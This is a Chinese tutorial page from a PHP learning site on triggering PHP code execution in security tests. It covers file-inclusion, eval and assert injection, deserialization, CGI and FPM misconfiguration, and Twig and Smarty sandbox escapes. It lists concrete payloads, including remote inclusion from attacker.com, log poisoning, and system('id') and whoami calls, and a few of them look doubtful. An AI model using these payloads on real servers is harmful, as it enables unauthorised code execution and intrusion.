0

0

安全检测怎样触发php代码执行_安全检测触发php代码执行方法【步骤】

蓮花仙者

蓮花仙者

发布时间:2025-12-24 22:34:02

|

362人浏览过

|

来源于php中文网

原创

验证PHP代码是否可被意外执行需检测五类漏洞:一、文件包含漏洞(LFI/RFI);二、eval等动态执行函数;三、反序列化POP链;四、PHP内置服务器或CGI配置缺陷;五、模板引擎沙箱逃逸。所有测试须在授权环境中进行。

安全检测怎样触发php代码执行_安全检测触发php代码执行方法【步骤】

如果在进行安全检测过程中需要验证PHP代码是否可被意外执行,可能涉及对Web应用中潜在代码注入点的探测。以下是触发PHP代码执行的常见方法:

一、利用文件包含漏洞触发PHP代码执行

当应用程序使用用户可控参数动态包含文件且未严格校验路径时,攻击者可通过构造恶意输入使服务器加载并执行PHP代码。

1、向存在include()或require()调用的参数传入恶意路径,例如:?file=php://filter/convert.base64-encode/resource=index.php

2、若支持远程文件包含(RFI),尝试提交类似?file=http://attacker.com/shell.txt的请求,确保目标启用了allow_url_include=On

立即学习PHP免费学习笔记(深入)”;

3、若存在本地文件包含(LFI)且可访问日志文件,将PHP代码写入访问日志后,通过?file=/var/log/apache2/access.log触发解析执行

注意:该操作仅限授权测试环境,未经许可对生产系统实施将违反《网络安全法》

二、利用eval()等动态执行函数触发PHP代码执行

当用户输入被直接拼接进eval()、assert()、create_function()或preg_replace()的/e修饰符中时,可导致任意PHP代码被执行。

1、识别表单或URL参数是否参与动态代码构造,例如搜索框提交payload:${@print(md5(123))}

2、向使用preg_replace('/.*/e', $_GET['p'], '')的接口发送请求:?p=phpinfo()

3、对含assert($_GET['c'])的脚本发起请求:?c=system('id')

关键提示:PHP 7.2+已移除/e修饰符,assert()默认不再执行字符串代码

三、利用反序列化漏洞触发PHP代码执行

当unserialize()处理用户可控数据且存在可利用的__wakeup()或__destruct()魔术方法时,可能触发链式调用最终执行PHP代码。

1、获取目标应用使用的类定义,定位含危险操作的魔术方法或属性

Symanto Text Insights
Symanto Text Insights

基于心理语言学分析的数据分析和用户洞察

下载

2、构造序列化字符串,将可控命令注入到可触发exec()、system()等函数的属性中

3、将生成的payload通过POST参数或Cookie传递给存在unserialize()调用的接口

必须确保目标环境中存在POP链且未启用__unserialize()替代机制

四、利用PHP内置Web服务器特性触发代码执行

当PHP以-cgi模式运行且配置不当,或使用php -S启动开发服务器时,特定请求头或路径组合可能导致代码解析异常。

1、向php-cgi二进制直连发送FastCGI协议包,构造QUERY_STRING参数为a=assert&b=phpinfo()

2、在php -S服务器中,尝试访问类似/index.php/.jpg的路径,绕过静态文件处理逻辑

3、利用PATH_INFO截断漏洞,在Nginx + PHP-FPM配置错误环境下发送/index.php/xxx.jpg%00.jpg请求

此方法依赖特定服务配置,常见于未及时更新的旧版Nginx或FPM配置

五、利用模板引擎沙箱逃逸触发PHP代码执行

部分PHP模板引擎(如Twig、Smarty)在低版本或错误配置下允许调用PHP原生函数,从而突破沙箱限制。

1、向Twig模板渲染接口提交{{ `id`|filter('system') }}或{{ ['id']|first|raw }}

2、对Smarty模板尝试{php}system('ls');{/php}或{assign var="a" value="system"}{$a('whoami')}

3、检查模板引擎版本,确认是否存在已知CVE(如CVE-2018-7490)对应的绕过方式

现代模板引擎默认禁用PHP代码执行,需关闭sandbox选项或降级至存在漏洞的版本

相关专题

更多
php文件怎么打开
php文件怎么打开

打开php文件步骤:1、选择文本编辑器;2、在选择的文本编辑器中,创建一个新的文件,并将其保存为.php文件;3、在创建的PHP文件中,编写PHP代码;4、要在本地计算机上运行PHP文件,需要设置一个服务器环境;5、安装服务器环境后,需要将PHP文件放入服务器目录中;6、一旦将PHP文件放入服务器目录中,就可以通过浏览器来运行它。

1648

2023.09.01

php怎么取出数组的前几个元素
php怎么取出数组的前几个元素

取出php数组的前几个元素的方法有使用array_slice()函数、使用array_splice()函数、使用循环遍历、使用array_slice()函数和array_values()函数等。本专题为大家提供php数组相关的文章、下载、课程内容,供大家免费下载体验。

1089

2023.10.11

php反序列化失败怎么办
php反序列化失败怎么办

php反序列化失败的解决办法检查序列化数据。检查类定义、检查错误日志、更新PHP版本和应用安全措施等。本专题为大家提供php反序列化相关的文章、下载、课程内容,供大家免费下载体验。

986

2023.10.11

php怎么连接mssql数据库
php怎么连接mssql数据库

连接方法:1、通过mssql_系列函数;2、通过sqlsrv_系列函数;3、通过odbc方式连接;4、通过PDO方式;5、通过COM方式连接。想了解php怎么连接mssql数据库的详细内容,可以访问下面的文章。

948

2023.10.23

php连接mssql数据库的方法
php连接mssql数据库的方法

php连接mssql数据库的方法有使用PHP的MSSQL扩展、使用PDO等。想了解更多php连接mssql数据库相关内容,可以阅读本专题下面的文章。

1396

2023.10.23

html怎么上传
html怎么上传

html通过使用HTML表单、JavaScript和PHP上传。更多关于html的问题详细请看本专题下面的文章。php中文网欢迎大家前来学习。

1227

2023.11.03

PHP出现乱码怎么解决
PHP出现乱码怎么解决

PHP出现乱码可以通过修改PHP文件头部的字符编码设置、检查PHP文件的编码格式、检查数据库连接设置和检查HTML页面的字符编码设置来解决。更多关于php乱码的问题详情请看本专题下面的文章。php中文网欢迎大家前来学习。

1438

2023.11.09

php文件怎么在手机上打开
php文件怎么在手机上打开

php文件在手机上打开需要在手机上搭建一个能够运行php的服务器环境,并将php文件上传到服务器上。再在手机上的浏览器中输入服务器的IP地址或域名,加上php文件的路径,即可打开php文件并查看其内容。更多关于php相关问题,详情请看本专题下面的文章。php中文网欢迎大家前来学习。

1302

2023.11.13

苹果官网入口直接访问
苹果官网入口直接访问

苹果官网直接访问入口是https://www.apple.com/cn/,该页面具备0.8秒首屏渲染、HTTP/3与Brotli加速、WebP+AVIF双格式图片、免登录浏览全参数等特性。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

10

2025.12.24

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP课程
PHP课程

共137课时 | 7.7万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 6.9万人学习

PHP新手语法线上课程教学
PHP新手语法线上课程教学

共13课时 | 0.8万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号